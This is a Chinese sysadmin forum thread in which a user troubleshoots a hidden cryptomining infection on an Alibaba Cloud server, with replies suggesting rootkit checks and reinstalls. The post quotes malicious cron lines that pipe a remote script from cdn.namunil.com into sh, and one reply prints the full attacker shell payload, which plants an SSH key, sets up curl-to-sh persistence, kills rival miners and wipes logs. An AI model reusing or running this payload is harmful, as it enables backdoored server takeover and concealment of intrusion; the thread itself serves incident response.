最近服务器 CPU 占用一直在 75%左右,阿里云盾报警说是有挖矿程序,但是 top 命令没有发现 cpu 占用特别高的进程
top - 09:08:51 up 7 days, 21:20, 0 users, load average: 6.53, 6.48, 6.45
Tasks: 181 total, 1 running, 179 sleeping, 0 stopped, 1 zombie
Cpu(s): 77.8%us, 6.1%sy, 0.0%ni, 16.1%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 32946868k total, 7645184k used, 25301684k free, 722592k buffers
Swap: 0k total, 0k used, 0k free, 4216620k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
22948 root 20 0 616 4 0 R 1 0.0 0:00.46 top
1 root 20 0 117m 5996 3888 S 1 0.0 21:17.74 /sbin/init
1767 root 20 0 130m 16m 12m S 1 0.1 43:42.96 /usr/local/aegis/aegis_client/aegis_10_41/AliYunDun
1117 root 20 0 34336 4736 4200 S 0 0.0 7:24.21 /usr/local/aegis/aegis_update/AliYunDunUpdate
26901 root 20 0 2712m 567m 22m S 0 1.8 35:07.66 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs -D
1277 root 20 0 23196 2060 1524 S 0 0.0 6:24.72 /usr/local/cloudmonitor/wrapper/bin/./wrapper /usr/local/cloudmonitor/wrapper/bin/../conf/wrapper.conf wrapper.syslog.ident=cloudmonitor wrap
7741 root 20 0 6130m 950m 29m S 0 3.0 69:27.14 /root/apps/jdk1.8.0_121/bin/java -cp /root/spark/spark-2.1.4.19-bin-2.7.1/conf/:/root/spark/spark-2.1.4.19-bin-2.7.1/jars/*:/root/hadoop/hado
42 root RT 0 0 0 0 S 0 0.0 3:36.15 [migration/7]
13 root 20 0 0 0 0 S 0 0.0 4:13.37 [ksoftirqd/1]
12 root RT 0 0 0 0 S 0 0.0 3:42.04 [migration/1]
15 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/1:0H]
16 root RT 0 0 0 0 S 0 0.0 0:01.70 [watchdog/2]
17 root RT 0 0 0 0 S 0 0.0 2:07.48 [migration/2]
9 root RT 0 0 0 0 S 0 0.0 1:57.28 [migration/0]
20 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/2:0H]
21 root RT 0 0 0 0 S 0 0.0 0:01.97 [watchdog/3]
22 root RT 0 0 0 0 S 0 0.0 6:07.52 [migration/3]
23 root 20 0 0 0 0 S 0 0.0 5:42.32 [ksoftirqd/3]
25 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/3:0H]
26 root RT 0 0 0 0 S 0 0.0 0:02.08 [watchdog/4]
27 root RT 0 0 0 0 S 0 0.0 1:52.24 [migration/4]
28 root 20 0 0 0 0 S 0 0.0 3:41.09 [ksoftirqd/4]
30 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/4:0H]
8 root 20 0 0 0 0 S 0 0.0 0:00.00 [rcu_bh]
10 root RT 0 0 0 0 S 0 0.0 0:02.24 [watchdog/0]
33 root 20 0 0 0 0 S 0 0.0 4:11.14 [ksoftirqd/5]
32 root RT 0 0 0 0 S 0 0.0 3:36.46 [migration/5]
36 root RT 0 0 0 0 S 0 0.0 0:02.05 [watchdog/6]
35 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/5:0H]
38 root 20 0 0 0 0 S 0 0.0 3:39.25 [ksoftirqd/6]
40 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/6:0H]
41 root RT 0 0 0 0 S 0 0.0 0:01.97 [watchdog/7]
37 root RT 0 0 0 0 S 0 0.0 1:52.30 [migration/6]
43 root 20 0 0 0 0 S 0 0.0 4:06.41 [ksoftirqd/7]
45 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/7:0H]
46 root 20 0 0 0 0 S 0 0.0 0:00.00 [kdevtmpfs]
47 root 0 -20 0 0 0 S 0 0.0 0:00.00 [netns]
48 root 0 -20 0 0 0 S 0 0.0 0:00.00 [perf]
然后,在 /var/spool/crontab 目录下发现一个定时脚本:
REDIS0007ú redis-ver^F3.2.11ú
redis-bitsÀ@ú^EctimeÂI{»Zú^Hused-memÂxÖ^L^@þ^@û^D^@^@^HJsDhtGeK@I
*/5 * * * * /usr/bin/wget -q -O- http://cdn.namunil.com/sh.php|/bin/sh
^@^HFQysiMRk4
*/2 * * * * curl http://cdn.namunil.com/sh.php|sh
^@^FdseINi8
*/2 * * * * wget -O- http://cdn.namunil.com/sh.php|sh
^@^HJPYAqMif@F
*/5 * * * * /usr/bin/curl -qs http://cdn.namunil.com/sh.php|/bin/sh
ÿÖX*µTAÄg
是挖矿的脚本无疑了,但接下来应该怎么排查呢,试了一下挖矿脚本下载不下来。cpu 还是一直 75%左右。
追加一下htop打印的内容
PID USER PRI NI VIRT RES SHR S CPU% MEM% TIME+ Command
5098 root 20 0 15628 1540 800 S 601. 0.0 10h35:14 [kondemand]
5101 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand]
5102 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand]
5103 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand]
5105 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand]
5104 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand]
5106 root 20 0 15628 1540 800 R 100. 0.0 1h45:52 [kondemand]
4999 root 20 0 2361M 73548 16152 S 0.7 0.2 50:17.49 /usr/local/cloudmonitor/jre/bin/java -Djava.compiler=none -XX:-UseGCOverheadLimit -XX:NewRatio=1 -XX:SurvivorRatio=8 -XX:+UseSerialGC -Djav
774 root 20 0 2655M 234M 23012 S 0.7 0.7 9:04.48 /root/apps/jdk1.8.0_121/bin/java -Dproc_secondarynamenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.
2380 root 20 0 30104 11668 1932 S 0.7 0.0 3:38.34 /root/26 reboot
3665 root 20 0 76284 1160 784 S 0.7 0.0 4:01.08 /usr/bin/bsd-port/getty
27004 root 20 0 2712M 569M 22928 S 0.7 1.8 6:12.11 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs
1312 root 20 0 2361M 73548 16152 S 0.0 0.2 1h06:01 /usr/local/cloudmonitor/jre/bin/java -Djava.compiler=none -XX:-UseGCOverheadLimit -XX:NewRatio=1 -XX:SurvivorRatio=8 -XX:+UseSerialGC -Djav
26901 root 20 0 2712M 569M 22928 S 0.0 1.8 35:14.74 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs
kondemand 进程把cpu跑满了,没查到什么东西
1
Mrun 2018-05-28 09:24:08 +08:00
排查啥啊,这种情况就是备份好数据,全盘重做系统
|
2
nealwx 2018-05-28 09:27:25 +08:00 via iPhone
top -b -n 1 看一下,你贴出来的好像不全
然后再装个 htop 应该就可以明显的看出来了 |
3
d0m2o08 2018-05-28 09:41:10 +08:00
egrep 'curl|wget' -R /
先把下载挖光脚本的脚本找出来 top 或者 htop 查看那个进程占用高 干掉 根据找出来的可以脚本路径 在查找有没有可疑的隐藏文件 |
4
xhf3894 2018-05-28 09:52:28 +08:00
以前一个测试服务器也中过招,首先找出程序的位置,先打包下载下来,然后删除程序,删除随系统启动的配置,然后是修改密码。
挖矿脚本的原理基本好像是通过扫描 ip,尝试弱密码登录,登录成功之后下载挖矿脚本并执行,而且还会利用服务器查找其他弱密码的 ip。 |
5
diveIntoWork OP 目前的问题是定位不到 cpu 占用高的进程,定时任务我也清空了,目前也查不到有其他的定时任务,比较尴尬
|
6
Marzlia 2018-05-28 09:59:24 +08:00
你是不是开放得 redis 得端口,我之前就是开了这个端口,清除掉没必要得端口再去找个教程清除挖矿程序
|
7
albertofwb 2018-05-28 10:15:20 +08:00 via Android
会不会是这样,挖矿程序做了反侦测,检测到 top 运行的时候自动暂停工作? 哈哈哈哈
|
8
diveIntoWork OP @albertofwb 不会吧,cpu 突降应该也看得到
|
9
lexuskingxx 2018-05-28 10:21:40 +08:00 via iPhone
ssh 登录,不能使用密码登录
|
10
dbow 2018-05-28 10:22:31 +08:00
你这个挖矿程序应该是用了隐藏进程技术,ldd /bin/bash 看看是不是有奇怪的 so 文件预加载, 有的话把他们删除掉, 再看 top 就正常了。
|
11
einvince 2018-05-28 10:23:13 +08:00 2
top ps 二进制文件被换了,这两个已经成了启动木马启动命令,从别的机器上拷过来再用
|
12
care 2018-05-28 10:24:28 +08:00 via iPhone
命令是不是被替换了呢?
|
13
iamsee 2018-05-28 10:26:36 +08:00
|
14
zcmxw1 2018-05-28 10:26:43 +08:00
你以 namunil.com 这个为关键字,百度一下,会有几篇文章,跟你类似,你可以参考一下
|
15
iamsee 2018-05-28 10:30:01 +08:00
我之前中这招是 redis 密码太弱,他会写 redis,shell payload 全部代码:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin sleep 3 cd /var/tmp || cd /tmp find . -maxdepth 1 -name ".mxsh0" -type f -mmin +20 -delete [ -f .mxsh0 ] && exit 0 echo 0 > .mxsh0 trap "rm -rf .mxsh0" EXIT setenforce 0 2>/dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null crontab -r 2>/dev/null rm -rf /var/spool/cron 2>/dev/null rm -rf /root/.ssh 2>/dev/null crontab -l 2>/dev/null mkdir -p /var/spool/cron/crontabs 2>/dev/null mkdir -p /root/.ssh 2>/dev/null echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX" > /root/.ssh/authorized_keys echo "*/2 * * * * curl -qs cdn.namunil.com/ash.php|sh" > /var/spool/cron/root echo "*/5 * * * * /usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /var/spool/cron/root echo "*/2 * * * * curl -qs cdn.namunil.com/ash.php|sh" > /var/spool/cron/crontabs/root echo "*/5 * * * * /usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /var/spool/cron/crontabs/root echo "curl -qs cdn.namunil.com/ash.php|sh" > /etc/rc.local echo "/usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /etc/rc.local echo "exit 0" >> /etc/rc.local grep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.conf grep -q 5.206.225.60 /etc/hosts || echo "5.206.225.60 static.cortins.tk" >> /etc/hosts rm -rf /tmp/* 2>/dev/null rm -rf /var/tmp/* 2>/dev/null rm -rf /etc/root.sh 2>/dev/null sync && echo 3 > /proc/sys/vm/drop_caches cat <<EOF> /etc/security/limits.conf * hard nofile 50000 * soft nofile 50000 root hard nofile 50000 root soft nofile 50000 EOF iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -j DROP 2>/dev/null iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -s 127.0.0.1 -j ACCEPT 2>/dev/null ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init" | while read pid _; do kill -9 "$pid"; done rm -rf /tmp/* 2>/dev/null rm -rf /var/tmp/* 2>/dev/null echo 0 > /var/spool/mail/root echo 0 > /var/log/wtmp echo 0 > /var/log/secure echo 0 > /root/.bash_history sleep 30 exit 0 |
16
nine99 2018-05-28 10:34:03 +08:00
有 rookit 的, 常规方法你是发现不了的
|
17
diveIntoWork OP |
18
dbow 2018-05-28 10:45:47 +08:00
可以再从内核的角度看看, 用 perf top 这个系统性能分析工具, 具体使用方法网上找找。
|
19
lucifer4he 2018-05-28 10:46:01 +08:00
可能 ld.so.preload 增加了一个库文件,库 hook 了 readdir 之类的函数,对读取 /proc 文件夹的操作做了过滤,所以客户在使用 top 或者 ps 命令的时候,得到的结果都是被过滤过的结果。搞一下 top,这些命令隐藏下进程容易的很
现在现场还在做一个 coredump 分析下吧 |
20
chestnutprog 2018-05-28 12:46:56 +08:00 1
先拿 RkHunter 查一下 rootkit
http://rkhunter.sourceforge.net/ |
21
diveIntoWork OP @chestnutprog 感谢 用 RkHunter 查了一下,报警的内容有:
/usr/sbin/adduser [ Warning ] /usr/bin/ldd [ Warning ] /usr/bin/top [ Warning ] /usr/bin/lwp-request [ Warning ] /bin/egrep [ Warning ] /bin/fgrep [ Warning ] /bin/netstat [ Warning ] /bin/which [ Warning ] 这些命令可能都被篡改过了。。/bin/ 目录下的内容 root 用户也不能随便替换吧,能不能从其他机器上拷贝过来 |
22
jin5354 2018-05-28 13:19:16 +08:00
不太懂,我 redis 之类的密码强度都很高,10 多位+大小写字母+数字+特殊符号,这样是不是就不容易中招了
|
23
RelativeLayout 2018-05-28 13:51:09 +08:00
|
24
Pain 2018-05-28 17:12:42 +08:00
没有人比入侵者更了解 入侵的程度。所以备份数据 重装系统是最好的解决方式。
|
25
xuanyuanaosheng 2018-05-28 17:23:30 +08:00
目前知道的有一整套的入侵方案:1. 系统命令肯定被替换了 2. 会增加 cron 定时任务 3. 你再知道某些问题后,主要能联网,程序还是会自动修复的,还是被挖矿,4. 开机启动部分也需要查看 5. 目前知道的进程名称为:htral,这个用 top 看不到的 最后建议自己先备份下自己的数据,备份的时候一定注意,然后重新安装系统,这些
|
26
chestnutprog 2018-05-28 20:37:38 +08:00
@diveIntoWork 可以从干净的相同版本系统上拷,把 rootkit 修好之后去找找挖矿程序,多半是简单的脚本啥的,分析清楚都干了啥挨个修了,顺便看下程序创建时间,检查下当时的 log 看看是从哪里进来的
|
27
kmahyyg 2018-05-28 20:42:48 +08:00
备份重要的非可执行数据之后重装吧
|
28
huigeer 2018-05-28 20:53:00 +08:00
备份重要的非可执行数据之后重装吧
|
29
conn4575 2018-05-28 20:56:51 +08:00 via Android
好可怕,吓得我都不敢开放端口了😂
|
30
diveIntoWork OP @chestnutprog 感谢~ 最后是这样解决的
|
31
fancyhan 2018-05-28 21:29:35 +08:00
牛逼啊,只能重新安装系统了,怕是有 rookie,你用的什么 distro,开了啥 web 应用,听说 java ssh 框架有漏洞
|
32
aimiyooo 2018-05-28 23:17:41 +08:00
服务器有 redis 吧?备份数据,重装系统
|
33
zou2699 2018-05-28 23:25:07 +08:00 via iPhone
top 这些检测常用的命令应该也被修改
|
34
crll 2018-05-28 23:45:59 +08:00 via iPhone
我一般除了 80.443 端口开放,其他端口都修改了或者不对外开放的。重装系统是最快捷的方式。做好安全很重要。
|
35
leakless 2018-05-29 00:44:21 +08:00
|
36
testVmap 2018-05-29 09:42:32 +08:00
安装 sysdig 工具,我用这个找到了 CPU 占用高的程序
#sysdig -c topprocs_cpu CPU% Process PID -------------------------------------------------------------------------------- 99.70% <NA> 719 99.70% <NA> 725 98.70% <NA> 724 98.70% <NA> 722 0.00% oracle 10187 0.00% hosteye 988 0.00% V8 4374 0.00% oracle 6393 0.00% gdbus 534 0.00% <NA> 9230 |